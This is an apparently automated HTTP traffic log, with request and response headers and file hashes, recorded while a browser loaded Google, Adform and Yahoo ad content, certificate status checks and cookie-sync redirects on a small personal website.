GET /xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNX2YrS8W8jkmTBxKWbYGjDOX7e1TbQovl8_Xvp22_mNVEyYmjOczBRnRT1PZlfi2H35Fkhh HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471 Cookie: test_cookie=CheckForPermission	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Cache-Control: private X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Mon, 21 Jul 2008 23:59:00 GMT IDE=AHWqTUk7nlTwsCZJsywhq8F0q-VgiwOsjyuPuOg16EODOLz1w_iPn625OCBie-zK; expires=Thu, 13-Feb-2020 14:02:41 GMT; path=/; domain=.doubleclick.net; HttpOnly Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 214 Md5: 02247d909a831178bfbddac723940ebd Sha1: 9d29a593fe8e22024b5091691df54e3a02a3ba82 Sha256: 48647fe897d3f952a9ad4422e05ed61869c9bf0d2108a78bd2eba0f5eed26446
GET /pagead/gen_204?id=xbid&dbm_b=AKAmf-BgoA2w1NASbZEJL93drJwYSwO4zfHjrGRquqtovopGJXtHztlGRXKmqc9sBFIOEuI-bOowT_ZNAdHIXl-VDvIo_9ralrmLCi-bIbaBqmqVCmDog7U HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
POST / HTTP/1.1 Host: gn.symcd.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	23.52.27.27 HTTP/1.1 200 OK Content-Type: application/ocsp-response Server: nginx/1.12.2 Content-Length: 1416 Content-Transfer-Encoding: binary Cache-Control: max-age=372329, public, no-transform, must-revalidate Last-Modified: Sat, 10 Feb 2018 21:25:53 GMT Expires: Sat, 17 Feb 2018 21:25:53 GMT Date: Tue, 13 Feb 2018 14:02:41 GMT Connection: keep-alive --- Additional Info --- Magic: data Size: 1416 Md5: 3f891a32eed58b6879f292ff7e025afd Sha1: ed3c9623210bcd94514c81872dadd71ebddc5a9e Sha256: ed1f2baca5463feb271751d58638701fc1c8f0205ee271890aa95acd71e0992d
POST /GTSGIAG3 HTTP/1.1 Host: ocsp.pki.goog User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 107 Content-Type: application/ocsp-request	172.217.21.142 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:41 GMT Cache-Control: public, max-age=345600 Server: ocsp_responder Content-Length: 463 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN --- Additional Info --- Magic: data Size: 463 Md5: 3f8666a5bea36283578bc10ee5cd930f Sha1: 526a530c3057adf847bbba35e96736f4d641585b Sha256: 166a98b8491197265873aa5ff9f1e46c79443bc0e509cd240513fed08e9578a9
GET /adfscript/?bn=21309103;rtbwp=WoLwAAAOeHcKGJfVAApDtvcIILCSCAXLybOkMg;rtbdata=x-QconeWRJpxwDvr0OWHi78hmukHVFK8RQCTAR5cr1QHlafa_rFEhbQfGhgG7vcW8OkrmmqwEdB933qZg4wmMYNMQbPfzw_mMmMNdHuK2dgX-fHbLYycSQc0iLIxrm_3MPyXCqTm1hC9-bNoFRpauMUIoYLXePiAR3Zqz6_FPkAlbAFnxTTVD28qB6yJN0y0jw9PKFYxjICVssFwilRnsaQF4kkqyKa7w3iI60gHGBc1;nofp=1;click=https://adclick.g.doubleclick.net/aclk?sa=L&ai=Ci7J6APCCWvfwOdWvYraHqfAPxcefvU2-0LiF5QLAjbcBEAEgAGDD3KSFmBiCARdjYS1wdWItNTQzOTI4NTIwMzUxNTcyM8gBCakCE2Tw8uI0hj6oAwGqBJ0BT9AXMOfUVSiY5DJGcZeodxVkiGoBS11ntOjOZwxDrh9-mzTHnXg2eWWWiqxAf1zeVzkTrOvXfstUGDb_z1BBD9K73koNB2EvobUZja8uOH0QliJshPlT59p34w749vVF9zZTITJysmHHKUtlTTJ6odGu8p98D4LA7POw50Gqq8tbrfjA31RCagf8o_LrQ5e6xWeb5kppnLzyg3_q1IAG4p65kZmwyLeCAaAGIagHpr4b2AcA0ggFCIBhEAE&num=1&sig=AOD64_19LQnk-EME2ib3WSVpuf5HvnMqxg&client=ca-pub-5439285203515723&adurl= HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264	37.157.6.253 HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Server: nginx Date: Tue, 13 Feb 2018 14:02:41 GMT Content-Length: 1548 Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Content-Encoding: gzip Expires: -1 Vary: Accept-Encoding Access-Control-Allow-Origin: * Set-Cookie: C=1; expires=Tue, 13-Mar-2018 14:02:41 GMT; path=/ P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), max speed Size: 1548 Md5: c1961ce065e8dc555ec0ca523b8b7353 Sha1: eb5a7b3704eed639d04854ff281d701f932e9e36 Sha256: d4537a48745677e091eb0f7636a9df8edd5264bb4c385e68d32c69ee7a6d66d7
GET /pagead/js/r20180207/r20110914/client/ext/m_qs_click_protection.js HTTP/1.1 Host: tpc.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264	172.217.21.129 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Wed, 07 Feb 2018 14:12:49 GMT Expires: Wed, 21 Feb 2018 14:12:49 GMT Etag: 18254379283724408787 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 3642 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=1209600 Age: 517792 Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 3642 Md5: 24d24f1211524aff604a7a982bfb33ed Sha1: 15c0f03407eb77a3da6a7476c6ffb4b8993eaefb Sha256: 78ef839be435484d29b2cd6e0fe1a05331bf1df22f4105141e45f7ab4703f9d7
POST /GTSGIAG3 HTTP/1.1 Host: ocsp.pki.goog User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 107 Content-Type: application/ocsp-request	172.217.21.142 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:41 GMT Cache-Control: public, max-age=345600 Server: ocsp_responder Content-Length: 463 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN --- Additional Info --- Magic: data Size: 463 Md5: d49329b6cf95ee35d707f7e0ab3f891e Sha1: bad43a85defedc6449b6bdaf779ee85d18278544 Sha256: 0580cfb371d0324bff4fc549e97d614659eade3215fc737e749308947ad948be
POST / HTTP/1.1 Host: ocsp.digicert.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	93.184.220.29 HTTP/1.1 200 OK Content-Type: application/ocsp-response Accept-Ranges: bytes Cache-Control: max-age=172800 Date: Tue, 13 Feb 2018 14:02:41 GMT Etag: "5a82cc43-1d7" Expires: Thu, 15 Feb 2018 14:02:41 GMT Last-Modified: Tue, 13 Feb 2018 11:30:11 GMT Server: ECS (arn/45DF) X-Cache: HIT Content-Length: 471 --- Additional Info --- Magic: data Size: 471 Md5: fba6a596936f70a6c3179459685d66d7 Sha1: d8146b9ad36a094c9e0ad1b7048a8c40156252ad Sha256: b0d733f2468aed518111919cb361eef5159385258b13d5549584d241a03239c3
POST / HTTP/1.1 Host: ocsp.digicert.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	93.184.220.29 HTTP/1.1 200 OK Content-Type: application/ocsp-response Accept-Ranges: bytes Cache-Control: max-age=172800 Date: Tue, 13 Feb 2018 14:02:41 GMT Etag: "5a82cc5f-1d7" Expires: Thu, 15 Feb 2018 14:02:41 GMT Last-Modified: Tue, 13 Feb 2018 11:30:39 GMT Server: ECS (arn/4667) X-Cache: HIT Content-Length: 471 --- Additional Info --- Magic: data Size: 471 Md5: bdd676092b32d438cdb3958993ee99de Sha1: f8f6992c4867e6f721a4e8776321b1c5d590c17c Sha256: 6c57d66bbd3413d976bd02ca92c9434b6c259a91a153fddbc476a44a468a1888
GET /8405476/priceline_160x600.jpg HTTP/1.1 Host: s0.2mdn.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.21.134 HTTP/1.1 200 OK Content-Type: image/jpeg Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Length: 49027 Date: Tue, 13 Feb 2018 10:55:22 GMT Expires: Wed, 14 Feb 2018 10:55:22 GMT Last-Modified: Tue, 13 Feb 2018 08:54:55 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=86400 Age: 11239 Alt-Svc: hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: JPEG image data Size: 49027 Md5: 672d02c52593f30011886fc325cd6d43 Sha1: addb929dca6638df017628fe9fc876776fd8cf4c Sha256: 8c7279d1adf9212b1f4abe84b05f297da466d43888808e57f80d0c55ee7a2b49
GET /pagead/js/r20180207/r20110914/abg.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Thu, 08 Feb 2018 04:54:07 GMT Expires: Thu, 22 Feb 2018 04:54:07 GMT Etag: 1003077525306946769 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 21796 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=1209600 Age: 464914 Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 21796 Md5: 9c7168207979b5f6ab6777d97a8a0963 Sha1: 9cf64cc271ecf30cfd8043002730eae9b47c2bf8 Sha256: 8eb9a093b3d57b4e750813aa8fc3c09cdc20379d6b5e1be2b862131bebfe735c
GET /cms/v1?esig=1~b04e41039133c73fafd60e0ed8cb49a70ecfb061&nwid=10000483131&sigv=1 HTTP/1.1 Host: ads.yahoo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNXdPIp-0rBWF8KlZZR-OuF2mnBAjXXkypYqIIjb68ET4GfiPd7oxAVXuI3kKAD21n2WZnYv	217.12.15.54 HTTP/1.1 302 Found Content-Type: text/plain; charset=utf-8 Date: Tue, 13 Feb 2018 14:02:41 GMT P3P: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Set-Cookie: B=ak4k1bld85s01&b=3&s=8o; expires=Wed, 13-Feb-2019 14:02:41 GMT; path=/; domain=.yahoo.com Location: https://googleads.g.doubleclick.net/xbbe/match?xid=axhjb8NnQko2uD7NmcXs7qDp Cache-Control: private Content-Length: 0 Age: 0 Connection: keep-alive Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" Public-Key-Pins-Report-Only: max-age=2592000; pin-sha256="2fRAUXyxl4A1/XHrKNBmc8bTkzA7y4FB/GLJuNAzCqY="; pin-sha256="2oALgLKofTmeZvoZ1y/fSZg7R9jPMix8eVA6DH4o/q8="; pin-sha256="47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU="; pin-sha256="cAajgxHlj7GTSEIzIYIQxmEloOSoJq7VOaxWHfv72QM="; pin-sha256="Gtk3r1evlBrs0hG3fm3VoM19daHexDWP//OCmeeMr5M="; pin-sha256="i7WTqTvh0OioIruIfFR4kMPnBqrS2rdiVPl/s2uC/CY="; pin-sha256="iduNzFNKpwYZ3se/XV+hXcbUonlLw09QPa6AYUwpu4M="; pin-sha256="I/Lt/z7ekCWanjD0Cvj5EqXls2lOaThEA0H2Bg4BT/o="; pin-sha256="JbQbUG5JMJUoI6brnx0x3vZF6jilxsapbXGVfjhN8Fg="; pin-sha256="lnsM2T/O9/J84sJFdnrpsFp3awZJ+ZZbYpCWhGloaHI="; pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="SVqWumuteCQHvVIaALrOZXuzVVVeS7f4FGxxu6V+es4="; pin-sha256="uUwZgwDOxcBXrQcntwu+kYFpkiVkOaezL0WYEZ3anJc="; pin-sha256="UZJDjsNp1+4M5x9cbbdflB779y5YRBcV6Z6rBMLIrO4="; pin-sha256="Wd8xe/qfTwq3ylFNd3IpaqLHZbh2ZNCLluVzmeNkcpw="; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; includeSubdomains; report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-hpkp-report-only" --- Additional Info ---
GET /pixel?google_nid=appnexus&google_cm&google_sc&google_dbm HTTP/1.1 Host: cm.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNXdPIp-0rBWF8KlZZR-OuF2mnBAjXXkypYqIIjb68ET4GfiPd7oxAVXuI3kKAD21n2WZnYv Cookie: IDE=AHWqTUnKipjzrf9N3358FSf4m_WfIdoKjmxJ6yxoVUFe1NgBsjA95z_LIvLSzvSK	216.58.209.130 HTTP/1.1 302 Found Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ib.adnxs.com/setuid?entity=101&code=CAESENlU4l1fd9jWe5KXCBrJAFk&google_cver=1 Date: Tue, 13 Feb 2018 14:02:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Server: HTTP server (unknown) Content-Length: 290 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: HTML document text Size: 290 Md5: e934e5e77b89b3e35c01c2d1c979217f Sha1: dd50f45ff441fc7c3b571523c35f16624d6acb33 Sha256: 7438d43a2c1a353e5fdfb001c8923b2a6fe1377788b9067d1e811223a87dd1c1
